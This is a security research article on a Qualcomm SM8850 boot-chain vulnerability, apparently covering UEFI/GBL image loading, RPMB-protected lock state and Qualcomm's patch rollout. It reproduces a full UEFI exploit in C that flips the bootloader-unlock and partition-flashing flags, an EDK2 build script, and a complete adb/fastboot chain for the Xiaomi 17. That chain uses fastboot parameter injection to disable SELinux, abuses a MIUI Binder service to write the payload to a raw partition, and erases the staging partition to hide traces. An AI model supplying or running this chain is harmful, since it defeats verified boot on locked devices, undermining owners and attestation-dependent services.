Qualcomm Bootchain Zero-Day: Exploiting UEFI and GBL

1. Why This Vulnerability Matters

Android's boot security depends on a simple promise. Every stage that executes before Android should be authorized by something the device already trusts.

At a high level, the chain looks like this:

Hardware Root of Trust
        |
        v
Boot ROM
        |
        v
Qualcomm Boot Firmware
        |
        v
OEM Boot Environment
        |
        v
Android Verified Boot
        |
        v
Linux Kernel
        |
        v
Android

If an attacker can insert unauthorized code into this chain before Android starts, the assumptions made by later security layers can collapse.

That is what makes the SM8850 issue interesting. The vulnerability is not simply an Android root exploit. It exists in the pre boot environment, before the Android kernel and its normal security controls have taken over.

The issue became particularly important with Snapdragon 8 Elite Gen 5 devices because modern Qualcomm platforms increasingly rely on a large UEFI environment and Generic Bootloader related functionality. This creates a more flexible boot architecture, but it also means that image loading policy has to be implemented correctly at every entry point.

2. ARM Exception Levels and the Qualcomm Boot Environment

Before looking at the vulnerability, it helps to clarify the privilege model.

ARMv8 and ARMv9 systems define multiple Exception Levels:

• EL0: Normally used by unprivileged applications.
• EL1: Normally used by operating system kernels and privileged system software.
• EL2: Normally used by hypervisors.
• EL3: The highest architectural Exception Level, commonly used by secure monitor firmware.

TrustZone security state and Exception Level are not the same thing.

EL3 normally hosts the secure monitor or equivalent runtime firmware that manages transitions between security states. A Trusted OS may execute at Secure EL1, while trusted applications can execute below it.

Secure World

EL3
Secure Monitor
    |
    v
S EL1
Trusted OS
    |
    v
S EL0
Trusted Applications


Normal World

EL2
Hypervisor
    |
    v
EL1
Android Kernel
    |
    v
EL0
Android Applications

Qualcomm's complete boot architecture is more complicated than this diagram, and exact execution contexts differ between firmware generations and OEM implementations. What matters for this research is that the vulnerable UEFI environment executes before Android and has access to firmware interfaces that normal Android applications do not.

3. From Small Bootloaders to a Large UEFI Environment

Older Android bootloaders were relatively small and highly platform specific. Modern Qualcomm boot firmware contains a considerably richer UEFI environment derived in part from EDK2 concepts.

UEFI provides standardized mechanisms for:

• Memory initialization
• Storage access
• Executable image loading
• Boot services
• Protocol discovery
• Device initialization
• OEM extensions

This flexibility is useful, but it creates an important security requirement. Every path that can load executable code must enforce the intended trust policy.

The DXE Environment

The Driver Execution Environment is one of the most important parts of UEFI for this research.

During this stage, firmware can expose interfaces identified by GUIDs. These UEFI protocols often contain function pointers that allow trusted firmware components to perform privileged operations.

A simplified lookup looks like this:

EFI_GUID ProtocolGuid = SOME_PROTOCOL_GUID;
VOID *Interface = NULL;

Status = gBS->LocateProtocol(
    &ProtocolGuid,
    NULL,
    &Interface
);

The protocol model itself is not the vulnerability.

The vulnerability appears when code that was never supposed to be trusted gains access to interfaces that were designed under the assumption that every caller inside the boot environment had already been authenticated.

4. Generic Bootloader and the GBL Loading Path

Generic Bootloader, commonly called GBL, is part of Google's effort to reduce duplicated bootloader logic across Android platforms.

Current AOSP deployment documentation describes GBL for ARM64 devices beginning with Android 16.

The reference architecture uses EFI System Partitions named:

android_esp_a
android_esp_b

These are part of the reference design. OEM implementations can contain additional partitions or internal staging mechanisms.

The SM8850 efisp Path

The affected SM8850 firmware analyzed during this research contains an OEM specific EFI staging path involving an efisp partition.

This should not be confused with the standard AOSP partition naming convention.

AOSP GBL reference

android_esp_a
android_esp_b


Affected OEM implementation

efisp
OEM specific loading logic
OEM specific authorization behavior

The security problem is not the name of the partition. The important part is what the firmware does with executable content discovered through this path.

Reverse engineering of the affected boot firmware showed that ABL discovers the relevant storage target and passes an EFI image into its image loading environment.

On vulnerable firmware, the expected authorization boundary does not prevent the supplied EFI payload from reaching execution.

5. UEFI Setup Mode and Image Authorization

A major clue during reverse engineering was the state of the UEFI Secure Boot configuration on the affected implementation.

Standard UEFI Secure Boot commonly relies on authenticated variables including:

• Platform Key
• Key Exchange Keys
• Allowed signature databases
• Revoked signature databases

The vulnerable firmware was observed operating with a configuration in which the expected Platform Key based enforcement was not active for the affected loading path.

This matters because UEFI Setup Mode changes the assumptions normally associated with Secure Boot.

It is important to be precise here. A missing Platform Key by itself is not proof that arbitrary code can execute on every Qualcomm device.

The vulnerability was established by observing the actual behavior of the affected firmware and confirming that an unauthorized EFI image could reach execution through the discovered loading path.

Weak conclusion

PK missing
    |
    v
Device must be exploitable


Actual finding

Affected firmware configuration
    |
    v
GBL related EFI loading path
    |
    v
Expected authorization not enforced
    |
    v
Unauthorized EFI execution confirmed

This distinction matters because Qualcomm boot firmware contains platform specific security logic in addition to standard EDK2 behavior.

6. From Unsigned EFI Execution to a Security Boundary Failure

Executing an unauthorized EFI application is already a serious vulnerability, but it becomes much more important when that application inherits access to privileged firmware interfaces.

The expected architecture is:

Authenticated firmware
        |
        v
Trusted UEFI environment
        |
        v
Privileged OEM protocol
        |
        v
Protected device operation

The vulnerable architecture becomes:

Unauthorized EFI payload
        |
        v
Trusted UEFI execution context
        |
        v
Privileged OEM protocol
        |
        v
Protected device operation

The protocol itself may be working exactly as its developers intended.

The problem is that its trust assumption is no longer valid.

A firmware interface may reasonably assume that code executing inside a verified boot environment has already been authenticated. If the earlier image authorization step fails, that assumption turns the privileged service into a confused deputy.

7. Protected Device State and RPMB

The Android bootloader lock state is security critical.

A locked device is expected to enforce the manufacturer's boot trust policy. An unlocked device allows software outside that normal trust policy to be installed.

Modern devices frequently protect security sensitive state using authenticated storage mechanisms such as Replay Protected Memory Block storage.

RPMB is specifically designed to resist unauthorized writes and replay attacks.

This leads to an important correction in terminology.

The exploit does not need to cryptographically break RPMB.

If trusted firmware accepts the request and performs an authenticated RPMB operation itself, RPMB can remain completely functional.

The security failure is one layer above it.

Unauthorized EFI execution
        |
        v
Privileged firmware interface
        |
        v
Trusted firmware accepts request
        |
        v
Trusted firmware performs
authenticated protected storage update

In other words, the storage authentication mechanism is not necessarily defeated. The authorization decision controlling who is allowed to request the state transition is defeated.

8. The Verified Boot Protocol

The affected firmware exposes a Qualcomm specific Verified Boot interface inside the UEFI environment.

Reverse engineering showed that this interface can interact with protected device state through lower level secure firmware services.

The original proof of concept developed during this research locates the relevant protocol, reads the current device state, modifies the required fields, and requests an updated state through the existing trusted firmware path.

This is important because the exploit does not need to recover the RPMB authentication key or directly emulate the secure storage protocol.

The device's own trusted firmware performs the protected operation.

The original proof of concept is preserved in this article because it forms part of the technical record of the vulnerability.

/** @file VbRwStateApp.c  
  Exploit Payload: Arbitrary EL1 Device State Matrix Overwrite  
  Target: Snapdragon 8 Elite Gen 5 (SM8850)  
  Copyright (c) 2026. VoidSec Security.  
**/  
  
#include <Uefi.h>  
#include <Library/UefiLib.h>  
#include <Library/UefiApplicationEntryPoint.h>  
#include <Library/UefiBootServicesTableLib.h>  
#include <Library/BaseMemoryLib.h>  
#include <Library/MemoryAllocationLib.h>  
#include <Library/DebugLib.h>  
  
// Proprietary Qualcomm Protocol Definition  
#define QCOM_VERIFIEDBOOT_PROTOCOL_GUID \  
  { 0x98f41539, 0xb818, 0x47e8, { 0x90, 0x3, 0xff, 0xc1, 0x9d, 0x33, 0xd, 0x14 } }  
  
// Enumerate Operation Types  
typedef enum {  
  READ_CONFIG = 0,  
  WRITE_CONFIG = 1  
} VB_RW_OP;  
  
// Define Protocol Structure  
typedef struct _QCOM_VERIFIEDBOOT_PROTOCOL {  
  UINT64 Revision;  
  EFI_STATUS (EFIAPI *VBRwDeviceState)(  
    IN struct _QCOM_VERIFIEDBOOT_PROTOCOL *This,  
    IN VB_RW_OP Op,  
    IN OUT UINT8 *Buffer,  
    IN UINT32 BufferSize  
  );  
} QCOM_VERIFIEDBOOT_PROTOCOL;  
  
EFI_STATUS  
EFIAPI  
UefiMain (  
  IN EFI_HANDLE        ImageHandle,  
  IN EFI_SYSTEM_TABLE  *SystemTable  
  )  
{  
  EFI_STATUS                  Status;  
  QCOM_VERIFIEDBOOT_PROTOCOL *VbProtocol = NULL;  
  EFI_GUID                    VbGuid = QCOM_VERIFIEDBOOT_PROTOCOL_GUID;  
    
  // The exact struct size defined for SM8850 RPMB mapping  
  UINT32                      DevInfoSize = 3344;  
  UINT8                       *DevInfoBuffer;  
  
  // 1. Allocate a pristine Buffer  
  DevInfoBuffer = AllocateZeroPool (DevInfoSize);  
  if (DevInfoBuffer == NULL) {  
    DEBUG ((EFI_D_ERROR, "[FAIL] Memory Allocation for DevInfo Buffer Exhausted.\n"));  
    return EFI_OUT_OF_RESOURCES;  
  }  
  
  // 2. Locate the Verified Boot Protocol exposed by TrustZone  
  Status = gBS->LocateProtocol (&VbGuid, NULL, (VOID **)&VbProtocol);  
  if (EFI_ERROR (Status)) {  
    DEBUG ((EFI_D_ERROR, "[FAIL] Failed to locate gEfiQcomVerifiedBootProtocolGuid: %r\n", Status));  
    FreePool (DevInfoBuffer);  
    return Status;  
  }  
  
  // 3. Extricate the current Device State from the RPMB  
  DEBUG ((EFI_D_INFO, "[INFO] Extracting live DevInfo from RPMB via SMC...\n"));  
  Status = VbProtocol->VBRwDeviceState(VbProtocol, READ_CONFIG, DevInfoBuffer, DevInfoSize);  
  if (EFI_ERROR (Status)) {  
    DEBUG ((EFI_D_ERROR, "[FAIL] DevInfo Extraction Denied by EL3: %r\n", Status));  
    FreePool (DevInfoBuffer);  
    return Status;  
  }  
  
  // 4. Modulate the Lock Matrix Flags  
  // Note: Values and Offsets meticulously mapped from SM8850 reversing.  
  // We preserve the Magic Number at 0x00 entirely.  
    
  DEBUG ((EFI_D_INFO, "[INFO] Live state extracted matrix: [0x%02X] [0x%02X]\n", DevInfoBuffer[4], DevInfoBuffer[8]));  
    
  // Force Device Unlock bit high  
  DevInfoBuffer[4] = 0x01;    
    
  // Force Critical Partitions (XBL/ABL) flashing authorization high  
  DevInfoBuffer[8] = 0x01;    
  
  // 5. Force the Arbitrary Write execution back to the RPMB  
  DEBUG ((EFI_D_INFO, "[INFO] Firing unauthorized arbitrary write protocol to TZ...\n"));  
  Status = VbProtocol->VBRwDeviceState(VbProtocol, WRITE_CONFIG, DevInfoBuffer, DevInfoSize);  
    
  if (EFI_ERROR (Status)) {  
    DEBUG ((EFI_D_ERROR, "[FAIL] RPMB Write rejected: %r\n", Status));  
  } else {  
    DEBUG ((EFI_D_INFO, "[SUCCESS] Hardware state successfully compromised and overwritten.\n"));  
  }  
  
  // 6. Halt Execution. Returning to ABL would detect state anomaly and trigger Panic.  
  // A hard physical reboot is required to initialize the kernel in the unlocked state.  
  DEBUG ((EFI_D_INFO, "[HALT] System hanging. Please execute a hard physical restart.\n"));  
    
  FreePool(DevInfoBuffer);  
    
  while (1) {  
    CpuDeadLoop();  
  }  
  
  return EFI_SUCCESS;  
}

9. Building and Testing the UEFI Payload

The research payload was built as an AArch64 UEFI application using an EDK2 based toolchain.

#!/bin/bash  
# High-Fidelity EDK2 Build Environment Initialization  
  
# Define absolute workspace paths  
export WORKSPACE="/opt/qcomuefi/edk2"  
export PYTHONPATH="$WORKSPACE/BaseTools/Source/Python"  
export EDK_TOOLS_PATH="$WORKSPACE/BaseTools"  
  
# Map Qualcomm Proprietary Includes  
export PACKAGES_PATH="$WORKSPACE:$WORKSPACE/boot:$WORKSPACE/QcomPkg"  
  
# Append POSIX wrappers for memory alignment  
export PATH="$PATH:$EDK_TOOLS_PATH/BinWrappers/PosixLike"  
  
# Define the precise GCC49 Target Tuple for SM8850 (ARMv9-A)  
export GCC49_AARCH64_PREFIX="aarch64-linux-gnu-"  
  
# Force a clean directory state  
rm -rf $WORKSPACE/Build/QcomTestPkg  
  
echo "[*] Triggering EDK2 Build Pipeline for AARCH64..."  
python3 $WORKSPACE/BaseTools/Source/Python/build/build.py \  
  -p QcomPkg/QcomTestPkg/QcomTestPkg.dsc \  
  -a AARCH64 \  
  -b RELEASE \  
  -t GCC49 \  
  -m QcomPkg/QcomTestPkg/VbRwStateApp/VbRwStateApp.inf  
  
if [ $? -eq 0 ]; then  
    echo "[+] SUCCESS: Payload isolated at Build/QcomTestPkg/RELEASE_GCC49/AARCH64/VbRwStateApp.efi"  
else  
    echo "[-] FATAL: Build pipeline collapsed."  
fi

Build environment details matter in firmware research. Different toolchain versions can change PE/COFF metadata, relocation behavior, binary layout, and compatibility with the target loader.

For reproducibility, the following information should be retained together with the original PoC:

• EDK2 revision
• Compiler version
• Target architecture
• Build configuration
• Binary SHA-256
• Target firmware build
• ABL hash

This makes it possible to distinguish an actual vendor patch from a failure caused by a different build environment.

10. The Complete Exploit Chain: The Xiaomi 17 Bridge

The Qualcomm vulnerability provides the pre-boot execution primitive, but reaching it from a locked consumer device still requires a way to place the EFI payload where the boot firmware will consume it (the efisp partition).

On the Xiaomi 17 (SM8850) devices used in the original research, the complete chain composes multiple independent weaknesses, bridging from Fastboot parameter injection to an unauthenticated block write via a privileged Android service.

Stage A: Kernel Command-Line Injection (SELinux Bypass)

The chain begins with an OEM-specific Fastboot command vulnerability. The fastboot oem set-gpu-preemption-value handler fails to properly sanitize its input. By appending a kernel boot parameter (androidboot.selinux=permissive), the attacker alters the kernel command line passed by the bootloader to the Linux kernel. When the device boots, SELinux enforcement is globally disabled.

Stage B: Privileged Service Abuse

Once booted into the permissive OS environment, the standard Android sandbox is severely degraded. The exploit then abuses an unprotected MIUI diagnostic IPC service (miui.mqsas.IMQSNative). By sending a crafted Binder transaction via service call, the attacker commands the highly-privileged daemon to execute a raw dd operation, writing the UEFI payload directly to the raw block device (/dev/block/by-name/efisp).

Stage C: Execution and Cleanup

Finally, the device is rebooted back into the bootloader. The GBL logic discovers the efisp partition, blindly executes the unsigned payload, and unlocks the RPMB state. The staging partition is then erased to hide the payload.

# 1. Trigger the parameter injection vulnerability in Fastboot
adb reboot bootloader
fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive

# 2. Boot into the permissive, weakened Android OS
fastboot continue

# 3. Stage the payload
adb push D:\unlock\data\mqsas\gbl_efi_unlock.efi /data/local/tmp

# 4. Abuse the MIUI MQSAS service to perform an arbitrary block write
adb shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "dd" i32 1 s16 'if=/data/local/tmp/gbl_efi_unlock.efi of=/dev/block/by-name/efisp' s16 '/data/mqsas/log.txt' i32 60

# 5. Reboot to trigger the UEFI Execution vulnerability
adb reboot bootloader

# 6. Clean up the staging partition and verify unlock status
fastboot erase efisp
fastboot getvar unlocked
fastboot reboot

This sequence demonstrates a critical theme in platform security: the Qualcomm issue is the firmware execution vulnerability, but the bridge used to reach it on a locked consumer device depends entirely on the OEM implementation.

11. What the Exploit Actually Achieves

The practical result on affected firmware is a bootloader state transition outside the normal OEM unlock authorization process.

This is stronger and more precise than saying that RPMB encryption was broken.

The exploit abuses a legitimate privileged path after gaining execution in a context that was incorrectly treated as trusted.

It is also important to separate persistent bootloader state from Android hardware attestation.

Android Key Attestation contains a hardware backed Root of Trust structure with fields including:

• deviceLocked
• verifiedBootState
• verifiedBootKey
• verifiedBootHash

Android defines an ordinarily unlocked device as Unverified, corresponding to the ORANGE Verified Boot state.

Therefore:

Unauthorized bootloader unlock
            !=
hardware attestation still reporting locked

If a target device remains hardware attested as locked after its protected boot state has been changed, that is a separate and considerably deeper security finding.

12. Why This Is More Than an Android Root Exploit

Normal Android privilege escalation happens after the boot chain has already completed.

This vulnerability attacks an earlier trust boundary.

Normal Android exploit

Verified boot
    |
    v
Android kernel
    |
    v
Privilege escalation


SM8850 bootchain exploit

Boot firmware
    |
    v
Unauthorized pre boot execution
    |
    v
Protected firmware interfaces
    |
    v
Device trust state

This difference explains why the issue attracted significant attention.

It directly affects assumptions made about who is allowed to execute code inside the boot firmware environment.

13. Qualcomm's Response

After the vulnerability became public, Qualcomm confirmed that fixes had been made available to Android device manufacturers.

The fix therefore does not necessarily reach every device at the same time.

Qualcomm supplies the relevant platform update to its customers, but OEMs still need to integrate that update into their own firmware, test it, and distribute it through an OTA.

This creates an important distinction between:

Qualcomm fix available
        |
        v
OEM integration
        |
        v
Device OTA
        |
        v
User installs patched firmware

A device should not be considered patched only because Qualcomm has produced the fix.

The actual installed boot firmware must contain the corrected implementation.

14. Qualcomm's Vulnerability and the OEM Bridge

One lesson from this exploit chain is that modern Android security cannot be analyzed as if Qualcomm, Google, and the OEM were one software vendor.

Each party owns a different part of the final trust architecture.

Qualcomm
    |
    + firmware
    + SoC security
    + boot components

Google
    |
    + Android Verified Boot
    + GBL architecture
    + Android security requirements

OEM
    |
    + ABL integration
    + Fastboot extensions
    + factory interfaces
    + diagnostic services
    + unlock policy
    + OTA delivery

The complete Xiaomi chain became possible because weaknesses from more than one layer could be composed.

This is one of the most important themes in platform security. A component can be secure when evaluated alone and still become exploitable when another layer violates one of its assumptions.

15. Comparison With Apple's Boot Architecture

Apple is an interesting comparison because it controls a much larger portion of its hardware and software stack.

Apple designs the SoC, Boot ROM, later boot firmware, Secure Enclave architecture, operating system, signing infrastructure, and update system.

Android flagship devices are built through a more distributed model involving at least the silicon vendor, Google, and the OEM.

This can create additional integration boundaries.

It does not mean Apple devices cannot have boot vulnerabilities. They can and historically have.

The important difference is organizational and architectural:

Apple

One vendor controls most of the trust chain


Android flagship

Silicon vendor
    +
OEM
    +
Google platform architecture
    +
OEM specific services

Every interface between those components is another place where an assumption can be wrong.

16. What Researchers Should Look For

The SM8850 vulnerability demonstrates a useful general principle for firmware research.

Do not start by asking whether a secure storage primitive such as RPMB can be cryptographically broken.

Instead, map who is already authorized to use it.

Protected resource
        |
        v
Authorized component
        |
        v
Privileged interface
        |
        v
Who can reach that interface?

If an attacker can become an unexpected caller of an already authorized component, the cryptographic primitive may never need to be broken.